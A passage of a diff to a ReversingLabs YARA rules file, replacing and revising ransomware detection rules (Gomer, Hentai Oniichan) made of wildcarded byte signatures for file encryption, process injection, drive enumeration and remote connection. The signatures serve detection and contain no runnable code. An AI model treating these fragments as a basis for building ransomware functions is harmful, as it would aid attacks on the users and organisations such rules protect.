-            ?? ?? ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 77
-            ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 64
-            89 0D ?? ?? ?? ?? 59 8B E5 5D C3
+            55 8B EC 83 C4 ?? 53 33 C0 89 45 ?? 89 45 ?? 89 45 ?? 89 45 ?? 89 45 ?? 89 45 ?? 89
+            45 ?? 89 45 ?? 89 45 ?? 89 45 ?? 89 45 ?? 89 45 ?? 89 45 ?? FF 35 ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 89 45 ?? FF 75 ?? E8 ?? ?? ?? ?? 33 C0 50 50 6A ?? 50 6A ?? 68 ?? ?? ?? ??
+            FF 75 ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 75 ?? E9 ?? ?? ?? ?? 89 45 ?? 8D 45 ?? 50 8D 45
+            ?? 50 8D 45 ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 8D 45 ?? 50 FF 75 ?? FF 15 ?? ?? ?? ??
+            83 7D ?? ?? 75 ?? 83 7D ?? ?? 73 ?? E9 ?? ?? ?? ?? 8B 55 ?? 8B 4D ?? BB ?? ?? ?? ??
+            B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? BB ?? ?? ?? ?? B8
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 0B D2 75 ?? 0B C9 75 ?? B9 ?? ?? ?? ?? 89 4D ?? 89 55 ??
+            B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 4D ?? 89 55 ?? BB ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 89 4D ?? 89 55 ?? 0B DB 75 ?? 0B C0 74 ?? 83 45 ?? ?? 83 55 ?? ?? FF 75 ??
+            FF 75 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 77 ?? 81 7D ?? ?? ??
+            ?? ?? 76 ?? B8 ?? ?? ?? ?? EB ?? 8B 45 ?? 6B C0 ?? 89 45 ?? 6A ?? 8D 45 ?? 50 FF 75
+            ?? FF 75 ?? E8 ?? ?? ?? ?? 83 F8 ?? 75 ?? E8 ?? ?? ?? ?? 0B C0 74 ?? E9 ?? ?? ?? ??
+            6A ?? 8D 45 ?? 50 FF 75 ?? FF 75 ?? FF 75 ?? FF 15 ?? ?? ?? ?? 0B C0 75 ?? E9 ?? ??
+            ?? ?? 68 ?? ?? ?? ?? 8D 45 ?? 50 FF 75 ?? 6A ?? 6A ?? 6A ?? FF 35 ?? ?? ?? ?? FF 15
+            ?? ?? ?? ?? 0B C0 75 ?? E9 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 FF 75 ?? FF 75 ?? E8 ?? ??
+            ?? ?? 83 F8 ?? 75 ?? E8 ?? ?? ?? ?? 0B C0 74 ?? E9 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 FF
+            75 ?? FF 75 ?? FF 75 ?? FF 15 ?? ?? ?? ?? 0B C0 75 ?? E9 ?? ?? ?? ?? DF 6D ?? DA 45
+            ?? DF 7D ?? C7 45 ?? ?? ?? ?? ?? DF 6D ?? DA 65 ?? DF 7D ?? C7 45 ?? ?? ?? ?? ?? DF
+            6D ?? DA 65 ?? DF 7D ?? 83 7D ?? ?? 75 ?? 83 7D ?? ?? 74 ?? E9 ?? ?? ?? ?? 8F 45 ??
+            8F 45 ?? 6A ?? 8D 45 ?? 50 FF 75 ?? FF 75 ?? E8 ?? ?? ?? ?? 83 F8 ?? 75 ?? E8 ?? ??
+            ?? ?? 0B C0 74 ?? EB ?? 6A ?? 8D 45 ?? 50 6A ?? 8D 45 ?? 50 FF 75 ?? FF 15 ?? ?? ??
+            ?? 0B C0 75 ?? EB ?? 6A ?? 8D 45 ?? 50 6A ?? 68 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ??
+            ?? 0B C0 75 ?? EB ?? EB ?? 8D 45 ?? 50 8D 45 ?? 50 8D 45 ?? 50 FF 75 ?? FF 15 ?? ??
+            ?? ?? FF 75 ?? E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? EB ?? 8D 45 ?? 50 8D 45 ?? 50 8D 45 ??
+            50 FF 75 ?? FF 15 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? 5B C9 C2
         }
-		$generate_key = {
-            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 83 EC ?? A1 ?? ?? ?? ?? 33 C5 89
-            45 ?? 56 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 8B 75 ??
-            8B 0C 88 A1 ?? ?? ?? ?? 3B 81 ?? ?? ?? ?? 7F ?? 56 FF 75 ?? FF 35 ?? ?? ?? ?? FF 15
-            ?? ?? ?? ?? 85 C0 74 ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5E 8B 4D ?? 33 CD E8 ?? ??
-            ?? ?? 8B E5 5D C2 ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 3D ?? ?? ?? ?? ??
-            75 ?? B9 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 68 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 68 ?? ?? ?? ??
-            8D 4D ?? E8 ?? ?? ?? ?? 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 68
-            ?? ?? ?? ?? 8D 45 ?? 50 E8
+		$read_config_file = {
+            55 8B EC 83 C4 ?? [0-20] 6A ?? 68 ?? ?? ?? ?? 6A
+            ?? (E8 | FF 15) ?? ?? ?? ?? 0B C0 75 ?? 33 C0 C9
+            C3 89 45 ?? 50 6A ?? (E8 | FF 15) ?? ?? ?? ?? 0B
+            C0 75 04 33 C0 C9 C3 89 45 ?? FF 75 ?? 6A ??
+            (E8 | FF 15) ?? ?? ?? ?? 0B C0 75 04 33 C0 C9 C3
+            89 45 ?? 50 (E8 | FF 15) ?? ?? ?? ?? 0B C0 75 04
+            33 C0 C9 C3 89 45 ?? FF 75 ?? 6A ?? (E8 | FF 15)
+            ?? ?? ?? ?? 0B C0 75 04 33 C0 C9 C3 89 45 ?? 8B
+            D8 FF 75 ?? FF 75 ?? FF 75 ?? (E8 | FF 15) ?? ??
+            ?? ?? FF 75 ?? (E8 | FF 15) ?? ?? ?? ?? 8B 5D ??
+            6A ?? 53 68 ?? ?? ?? ?? (E8 | FF 15) ?? ?? ?? ??
+            83 C3 ?? 8B 45 ?? 83 (E8 | FF 15) ?? 50 53
+            (E8 | FF 15) ?? ?? ?? ?? 8A 03 A2 ?? ?? ?? ?? 83
+            C3 ?? 8A 03 A2 ?? ?? ?? ?? 83 C3
+        }
+		$file_type_loop = {
+            51 53 FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 F8
+            ?? 75 03 59 EB ?? 53 E8 ?? ?? ?? ?? 03 D8 83 C3
+            ?? 59 E2 DC [20-40] FF B5 ?? ?? ?? ?? FF B5 ??
+            ?? ?? ?? E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 0B C0 75 44 FF B5 ?? ?? ?? ?? FF B5 ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF B5 ??
+            ?? ?? ?? E8 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF B5
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF
+            B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8D 85 ?? ?? ??
+            ?? 50 FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0
+            0F 85
+        }
+		$encrypt_routine = {
+            FF 75 ?? FF 75 ?? E8 ?? ?? ?? ?? 83 F8 ?? 75 ??
+            [0-10] E9 ?? ?? ?? ?? 6A ?? [1-10] FF 75 ??
+            FF (35 | 75) [1-4] FF 75 ?? (E8 | FF 15)
+            ?? ?? ?? ?? 0B C0 75 ?? E9 ?? ?? ?? ?? 68 ??
+            ?? ?? ?? [1-10] FF (35 | 75) [1-4] 6A ??
+            6A ?? 6A ?? FF 35 ?? ?? ?? ?? (E8 | FF 15) ??
+            ?? ?? ?? 0B C0 75 ?? (EB | E9) [1-4] 6A ??
+            [2-10] FF 75 ?? FF 75 ?? E8 ?? ?? ?? ?? 83 F8
+            ?? 75 ?? [10-40] FF (35 | 75) [1-4] FF 75 ??
+            (E8 |FF 15)
         }
 
 	condition:
-		uint16(0)==0x5A4D and ($find_files) and ($write_proc_mem) and ($generate_key) and ($encrypt_files)
+		uint16(0)==0x5A4D and (($read_config_file and $file_type_loop and $encrypt_routine) or ($enum_drives and $enum_shared_resources and $find_files and $encrypt_files))
 }
-rule REVERSINGLABS_Win32_Ransomware_Gomer : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Hentaioniichan : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects Gomer ransomware."
+		description = "Yara rule that detects Hentai Oniichan ransomware."
 		author = "ReversingLabs"
-		id = "b76ac856-2abe-531d-b093-461569b9afb7"
-		date = "2020-10-08"
-		modified = "2020-10-08"
+		id = "cd5e916f-7195-5bb6-abff-b08231053f9a"
+		date = "2021-03-05"
+		modified = "2021-03-05"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Gomer.yara#L1-L106"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "a53d37fcb877a12a4969a6ea1aaa67fc4106c3fbdd80a4fd39ad5a66a9df47fc"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.HentaiOniichan.yara#L1-L140"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "153526e5a2f05bc8e3f77d83eefce6b4cd962ea093b6f1c0ab8fcabe8d8a7ad9"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -26972,97 +28465,127 @@ rule REVERSINGLABS_Win32_Ransomware_Gomer : TC_DETECTION MALICIOUS MALWARE FILE
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "Gomer"
+		tc_detection_name = "HentaiOniichan"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
 		$find_files_p1 = {
-            8B FF 55 8B EC 51 8B 4D ?? 53 57 33 DB 8D 51 ?? 66 8B 01 83 C1 ?? 66 3B C3 75 ?? 8B
-            7D ?? 2B CA D1 F9 83 C8 ?? 41 2B C7 89 4D ?? 3B C8 76 ?? 6A ?? 58 EB ?? 56 8D 5F ??
-            03 D9 6A ?? 53 E8 ?? ?? ?? ?? 8B F0 59 59 85 FF 74 ?? 57 FF 75 ?? 53 56 E8 ?? ?? ??
-            ?? 83 C4 ?? 85 C0 75 ?? FF 75 ?? 2B DF 8D 04 7E FF 75 ?? 53 50 E8 ?? ?? ?? ?? 83 C4
-            ?? 85 C0 75 ?? 8B 4D ?? 56 E8 ?? ?? ?? ?? 6A ?? 8B F0 E8 ?? ?? ?? ?? 59 8B C6 5E 5F
-            5B 8B E5 5D C3 33 C0 50 50 50 50 50 E8 ?? ?? ?? ?? CC 8B FF 55 8B EC 81 EC ?? ?? ??
-            ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 8B 55 ?? 8B 4D ?? 53 8B 5D ?? 56 57 6A ?? 5E 6A ??
-            89 95 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 5F EB ?? 0F B7 01 66 3B 85 ?? ?? ??
-            ?? 74 ?? 66 3B C6 74 ?? 66 3B C7 74 ?? 83 E9 ?? 3B CB 75 ?? 0F B7 31 66 3B F7 75 ??
-            8D 43 ?? 3B C8 74 ?? 52 33 FF 57 57 53 E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 6A ??
-            8B C6 33 FF 5A 66 3B C2 74 ?? 6A ?? 5A 66 3B C2 74 ?? 6A ?? 5A 66 3B C2 74 ?? 8B C7
+            8B FF 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 8B 4D ?? 8B 55 ?? 53
+            57 8B 7D ?? 89 95 ?? ?? ?? ?? 3B CF 74 ?? 8A 01 3C ?? 74 ?? 3C ?? 74 ?? 3C ?? 74 ??
+            51 57 E8 ?? ?? ?? ?? 59 59 8B C8 3B CF 75 ?? 8B 95 ?? ?? ?? ?? 8A 01 88 85 ?? ?? ??
+            ?? 3C ?? 75 ?? 8D 47 ?? 3B C8 74 ?? 52 33 DB 53 53 57 E8 ?? ?? ?? ?? 83 C4 ?? E9 ??
+            ?? ?? ?? 8A 85 ?? ?? ?? ?? 33 DB 3C ?? 74 ?? 3C ?? 74 ?? 3C ?? 8A C3 75 ?? B0 ?? 2B
+            CF 0F B6 C0 41 89 9D ?? ?? ?? ?? F7 D8 89 9D ?? ?? ?? ?? 56 1B C0 89 9D ?? ?? ?? ??
+            23 C1 89 9D ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 88 9D ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 57 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? F7 D8
         }
 		$find_files_p2 = {
-            EB ?? 33 C0 40 2B CB 0F B6 C0 D1 F9 41 F7 D8 68 ?? ?? ?? ?? 1B C0 23 C1 89 85 ?? ??
-            ?? ?? 8D 85 ?? ?? ?? ?? 57 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 57 57 57 50
-            57 53 FF 15 ?? ?? ?? ?? 8B F0 83 FE ?? 75 ?? 8B 85 ?? ?? ?? ?? 50 57 57 53 E8 ?? ??
-            ?? ?? 83 C4 ?? 8B F8 83 FE ?? 74 ?? 56 FF 15 ?? ?? ?? ?? 8B C7 8B 4D ?? 5F 5E 33 CD
-            5B E8 ?? ?? ?? ?? 8B E5 5D C3 8B 8D ?? ?? ?? ?? 6A ?? 8B 41 ?? 2B 01 C1 F8 ?? 89 85
-            ?? ?? ?? ?? 58 66 39 85 ?? ?? ?? ?? 75 ?? 66 39 BD ?? ?? ?? ?? 74 ?? 66 39 85 ?? ??
-            ?? ?? 75 ?? 66 39 BD ?? ?? ?? ?? 74 ?? 51 FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 53 50
-            E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 8B 8D
-            ?? ?? ?? ?? 85 C0 6A ?? 58 75 ?? 8B C1 8B 8D ?? ?? ?? ?? 8B 10 8B 40 ?? 2B C2 C1 F8
-            ?? 3B C8 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 2B C1 6A ?? 50 8D 04 8A 50 E8 ?? ?? ?? ??
-            83 C4 ?? E9
+            1B C0 53 53 53 51 F7 D0 23 85 ?? ?? ?? ?? 53 50 FF 15 ?? ?? ?? ?? 8B F0 83 FE ?? 75
+            ?? FF B5 ?? ?? ?? ?? 53 53 57 E8 ?? ?? ?? ?? 83 C4 ?? 8B D8 E9 ?? ?? ?? ?? 8B 85 ??
+            ?? ?? ?? 8B 48 ?? 2B 08 C1 F9 ?? 89 8D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ??
+            ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 88 9D ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 50 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ??
+            ?? 83 C4 ?? F7 D8 1B C0 F7 D0 23 85 ?? ?? ?? ?? 80 38 ?? 75 ?? 8A 48 ?? 84 C9 74 ??
+            80 F9 ?? 75 ?? 38 58 ?? 74 ?? FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 57 50 E8 ?? ?? ??
+            ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 85 C0 75 ?? 38 9D ?? ?? ?? ?? 74 ?? FF B5 ?? ?? ?? ??
+            E8 ?? ?? ?? ?? 59 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ??
+            8B 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 10 8B 40 ?? 2B C2 C1 F8 ?? 3B C8 74 ?? 68 ??
+            ?? ?? ?? 2B C1 6A ?? 50 8D 04 8A 50 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 38 9D ?? ?? ?? ??
+            74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 59 8B D8 56 FF 15 ?? ?? ??
+            ?? 80 BD ?? ?? ?? ?? ?? 5E 74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 8B C3 8B 4D ??
+            5F 33 CD 5B E8 ?? ?? ?? ?? C9 C3
         }
-		$encrypt_files = {
-            55 8B EC 51 8B 45 ?? 53 56 57 8B F9 8B 4F ?? 89 4D ?? 3B C1 77 ?? 8B DF 83 F9 ?? 72
-            ?? 8B 1F 8D 34 00 89 47 ?? 56 FF 75 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 66 89 04 1E
-            8B C7 5F 5E 5B 8B E5 5D C2 ?? ?? 3D ?? ?? ?? ?? 0F 87 ?? ?? ?? ?? 8B F0 83 CE ?? 81
-            FE ?? ?? ?? ?? 76 ?? BE ?? ?? ?? ?? EB ?? 8B D1 B8 ?? ?? ?? ?? D1 EA 2B C2 3B C8 76
-            ?? BE ?? ?? ?? ?? EB ?? 8D 04 0A 3B F0 0F 42 F0 8D 46 ?? 8D 0C 00 3D ?? ?? ?? ?? 76
-            ?? 83 C9 ?? EB ?? 81 F9 ?? ?? ?? ?? 72 ?? 8D 41 ?? 83 CA ?? 3B C1 0F 46 C2 50 E8 ??
-            ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 8D 58 ?? 83 E3 ?? 89 43 ?? EB ?? 85 C9 74 ?? 51 E8 ??
-            ?? ?? ?? 83 C4 ?? 8B D8 EB ?? 33 DB 8B 45 ?? 89 77 ?? 89 47 ?? 8D 34 00 56 FF 75 ??
-            53 E8 ?? ?? ?? ?? 33 C0 83 C4 ?? 66 89 04 1E 8B 45 ?? 83 F8 ?? 72 ?? 8D 0C 45 ?? ??
-            ?? ?? 8B 07 81 F9 ?? ?? ?? ?? 72 ?? 8B 50 ?? 83 C1 ?? 2B C2 83 C0 ?? 83 F8 ?? 77 ??
-            8B C2 51 50 E8 ?? ?? ?? ?? 83 C4 ?? 89 1F 8B C7 5F 5E 5B 8B E5 5D C2 ?? ?? E8 ?? ??
-            ?? ?? E8 ?? ?? ?? ?? CC CC CC CC CC B8 ?? ?? ?? ?? C3
+		$inject_code_into_process = {
+            33 C0 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 50 6A ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 89 85
+            ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B F8 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ??
+            50 57 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 0F 1F 84 00 ?? ?? ?? ?? 8B C6 8D 8D
+            ?? ?? ?? ?? 66 8B 11 66 3B 10 75 ?? 66 85 D2 74 ?? 66 8B 51 ?? 66 3B 50 ?? 75 ?? 83
+            C1 ?? 83 C0 ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 75 ?? FF B5 ?? ?? ??
+            ?? 50 6A ?? FF 15 ?? ?? ?? ?? 8B F0 85 F6 74 ?? FF 15 ?? ?? ?? ?? 39 85 ?? ?? ?? ??
+            74 ?? 6A ?? 56 FF 15 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 8D 85 ?? ??
+            ?? ?? 50 57 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? C6 45 ??
+            ?? 8B 55 ?? 83 FA ?? 72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2
+            ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ??
+            ?? 8B 55 ?? 83 FA ?? 72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2
+            ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 8D ??
+            ?? ?? ?? 83 C1 ?? 89 8D ?? ?? ?? ?? 3B 8D ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 8B 45 ?? 8B
+            4D ?? 85 C9 74 ?? 51 8B D0 E8 ?? ?? ?? ?? 8B 4D ?? B8 ?? ?? ?? ?? 8B 75 ?? 83 C4 ??
+            2B CE F7 E9 C1 FA ?? 8B C2 C1 E8 ?? 03 C2 8D 0C 40 8B C6 C1 E1 ?? 81 F9 ?? ?? ?? ??
+            72 ?? 8B 76 ?? 83 C1 ?? 2B C6 83 C0 ?? 83 F8 ?? 77 ?? 51 56 E8 ?? ?? ?? ?? 83 C4 ??
+            8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D 8B E3
+            5B C3 E8
         }
-		$enum_drives_p1 = {
-            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 83 EC ?? A1 ?? ?? ?? ?? 33 C5 89
-            45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 89 4D ?? 68 ?? ?? ?? ?? C7 45 ?? ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? FF 15 ?? ?? ?? ?? 89 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45
-            ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? C7 45 ?? ?? ?? ?? ?? 8D 4D ?? 6A ?? 33 C0 C7
-            45 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 89 45 ?? E8 ?? ?? ?? ?? C6
-            45 ?? ?? BF ?? ?? ?? ?? 8D 45 ?? 0F A3 38 0F 83 ?? ?? ?? ?? 83 7D ?? ?? 8D 4D ?? 8D
-            47 ?? 0F 43 4D ?? 66 89 01 8D 45 ?? 83 7D ?? ?? 0F 43 45 ?? 50 FF 15 ?? ?? ?? ?? 83
-            F8 ?? 74 ?? 83 F8 ?? 74 ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 33 C9 C7 45 ?? ?? ?? ?? ?? C7
-            45 ?? ?? ?? ?? ?? 66 89 4D ?? C6 45 ?? ?? 83 F8 ?? 75 ?? 6A ?? 68 ?? ?? ?? ?? EB ??
-            83 F8 ?? 75 ?? 6A ?? 68 ?? ?? ?? ?? EB ?? 83 F8 ?? 75 ?? 6A ?? 68 ?? ?? ?? ?? 8D 4D
-            ?? E8 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 8D 55 ?? 56 8D 4D ?? E8 ?? ??
-            ?? ?? 8B 4D ?? B8 ?? ?? ?? ?? 2B CE C6 45 ?? ?? F7 E9 83 C4 ?? C1 FA ?? 8B DA C1 EB
-            ?? 03 DA 8B 55 ?? 83 FA ?? 72 ?? 8B 4D ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA ?? ?? ??
-            ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ??
-            ?? ?? 83 C4 ?? FF 35 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 8D 55 ?? 56 8D 4D ?? E8 ?? ?? ??
-            ?? 8B 4D ?? B8 ?? ?? ?? ?? 2B CE 89 7D ?? F7 E9 83 C4 ?? 89 5D ?? C1 FA ?? 8D 4D
+		$remote_connection_p1 = {
+            68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 45 ?? C7 45
+            ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 0F 28 45
+            ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ??
+            ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 0F EF 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ??
+            C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 0F 29 45 ?? 0F 28 45
+            ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ??
+            ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 0F EF 85 ?? ?? ?? ?? 50 0F 29 45 ?? E8 ??
+            ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 45
+            ?? C7 45 ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ??
+            0F 28 45 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ??
+            ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 0F EF 85 ?? ?? ?? ?? 0F 29 45 ??
+            C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ??
+            0F 28 45 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ??
+            ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 0F EF 85 ?? ?? ?? ?? C7 45 ?? ??
+            ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 0F 29 45
         }
-		$enum_drives_p2 = {
-            8B C2 C1 E8 ?? 03 C2 89 45 ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 45 ?? FF 75
-            ?? 50 51 8D 45 ?? 50 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8B 55 ?? 83 FA ?? 72 ?? 8B
-            4D ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83
-            C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 47 83 FF ?? 0F 8C ??
-            ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? C7 45
-            ?? ?? ?? ?? ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 8B D8 89 5D ?? C6 45 ?? ?? 8B 4D ?? 8B 31
-            3B F1 0F 84 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? FF 75 ?? 8B C8 C6 45
-            ?? ?? 6A ?? E8 ?? ?? ?? ?? 8B F8 C6 45 ?? ?? 8B 4E ?? 89 4F ?? 8B 4E ?? 89 4F ?? 8D
-            4F ?? 8B 46 ?? 89 47 ?? 8D 46 ?? 3B C8 74 ?? 83 78 ?? ?? 8B D0 72 ?? 8B 10 FF 70 ??
-            52 E8 ?? ?? ?? ?? 8D 45 ?? 50 6A ?? 57 68 ?? ?? ?? ?? 6A ?? 6A ?? FF 15
+		$remote_connection_p2 = {
